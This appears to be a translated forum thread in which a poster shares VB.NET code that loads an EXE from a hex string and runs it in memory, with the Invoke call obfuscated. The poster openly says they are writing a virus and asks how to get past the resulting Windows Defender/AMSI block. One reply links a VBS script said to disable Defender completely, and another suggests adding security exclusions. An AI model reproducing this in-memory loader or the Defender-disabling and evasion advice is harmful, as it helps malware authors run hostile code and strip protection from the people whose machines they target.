操作未成功完成,因为该文件包含病毒或可能不需要的软件。 (HRESULT 异常:0x800700E1)

Operation did not complete successfully because the file contains a virus or potentially unwanted software. (Exception from HRESULT: 0x800700E1)

伙计们,我在 visual studio 中编码 vb.net 时遇到了问题。这是我的代码,它将 .EXE 文件 Hex 转换为字节并直接从内存中运行。

Imports System.Linq,System.Reflection
              Public Module Module1
                     Public Sub Main()
                                 Dim n As String = "4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
                                 Dim q1 As Object = Assembly.Load(HexToByte(n))
                                 Dim d2 As Object = CallByName(q1, "EntryPoint", CallType.Method)
                                 Dim E3 As Object = CallByName(d2, StrReverse("ek" & "ovni"), CallType.Get, StrReverse("oN") & "th" & "ing", Nothing)

                     End Sub
                     Public Function HexToByte(ByVal str As String) As Byte()
                                 Dim xData As Byte() = str.Split(" "c).Select(Function(n) Convert.ToByte(Convert.ToInt32(n, 16))).ToArray()
                                 Return xData
                     End Function
             End Module

当我使用 F5 键调试它时,它显示完整的消息如下:

System.BadImageFormatException: 
'Could not load file or assembly '32256 bytes loaded from Project1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. 
An attempt was made to load a program with an incorrect format.'

还有

Inner Exeception
BadImageFormatException: Operation did not complete successfully because the file contains a virus or potentially unwanted software. 
(Exception from HRESULT: 0x800700E1)

伙计们,因为这些消息表明我正在编码病毒,这是真的。
但是我已经多次使用这段代码,但它没有 return 任何异常。
但现在它不允许我。 如何解决这个问题???

因为它提到它包含病毒,
所以可能 AMSI(Win Defender 组件)正在阻止病毒 运行、

由于powershell在执行恶意命令时也会出现此错误信息,
因此 AMSI 停止了它,信息取自 0x00-0x00.github.io

运行 这个 VBS 脚本可以完全禁用 Defender,
https://github.com/NYAN-x-CAT/Bypass-Windows-Defender-VBS/blob/master/script.vbs

我 运行 在 Windows 10 上执行一些 golang 代码时遇到了同样的问题。事实证明 Windows 安全部门一直在处理临时文件类似 C:\Users\<user-name>\AppData\Local\Temp\go-buildxxxxxxxxx\b00x\exe\app.exe 的 运行 将我的 app.go 脚本视为病毒或可能不需要的软件。一种快速解决方法是通过 Windows Security by extension 添加排除项,但我不确定这是否是最佳做法,因为这会削弱您的安全性。

请注意,上面的“x”代表我试图隐藏以保持通用性的数字。